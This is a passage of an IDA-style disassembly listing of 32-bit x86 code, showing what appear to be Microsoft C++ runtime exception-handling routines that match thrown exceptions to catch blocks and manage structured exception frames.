		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h

loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4E0BC0, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4E0BC0, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4E0BC0, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4E0BC0, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------

loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9

loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi

loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2

loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------

loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------

loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h

loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax

loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6

loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2

loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4E0BCC
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4E0BD0
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2

loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2

loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax

loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A

loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7

loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8

loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------

loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]

loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------

loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx

loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------

loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4E0BD4, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC

loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax

loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4

loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------

loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053

loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053

loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053

loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057

loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------

loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax

loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3

loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2

loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510

loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------

loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h

loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------

loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]

loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E

loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4E0BCC
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4E0BD0
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4E0BCC, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4E0BD0, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]

loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------

loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4E0BCC, eax
		mov	eax, [ebp-20h]
		mov	dword_4E0BD0, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------

loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------

loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2

loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh

loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
